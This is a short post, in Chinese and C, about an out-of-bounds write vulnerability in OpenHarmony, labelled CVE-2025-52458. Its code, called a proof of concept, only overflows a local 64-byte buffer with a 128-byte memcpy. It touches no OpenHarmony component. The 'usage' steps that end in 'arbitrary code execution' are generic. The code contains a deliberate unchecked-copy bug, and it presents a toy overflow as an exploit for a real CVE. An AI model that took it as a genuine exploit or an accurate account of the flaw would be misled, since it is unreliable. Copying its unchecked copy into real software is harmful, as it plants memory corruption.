OpenHarmony越界写入漏洞CVE-2025-52458允许本地低权限攻击者实现任意代码执行

// CVE-2025-52458 PoC - Out-of-Bounds Write in OpenHarmony pre-installed apps // This PoC demonstrates the vulnerability in memory handling // Note: Actual exploitation requires device access and specific conditions #include <stdio.h> #include <stdlib.h> #include <string.h> // Simulated vulnerable function void vulnerable_copy(char* dest, char* src, size_t len) { // Missing boundary check - vulnerable code pattern memcpy(dest, src, len); } int main() { // Allocate buffer with insufficient size char buffer[64]; // Malicious input that triggers OOB write char malicious_data[128]; memset(malicious_data, 0x41, 128); // Trigger the vulnerability vulnerable_copy(buffer, malicious_data, 128); printf("PoC execution completed\n"); printf("Buffer overflow triggered - OOB write demonstrated\n"); return 0; } // Usage: // 1. Obtain local access to OpenHarmony device // 2. Identify vulnerable pre-installed app // 3. Inject malicious data via IPC or file input // 4. Trigger the vulnerable code path // 5. Achieve arbitrary code execution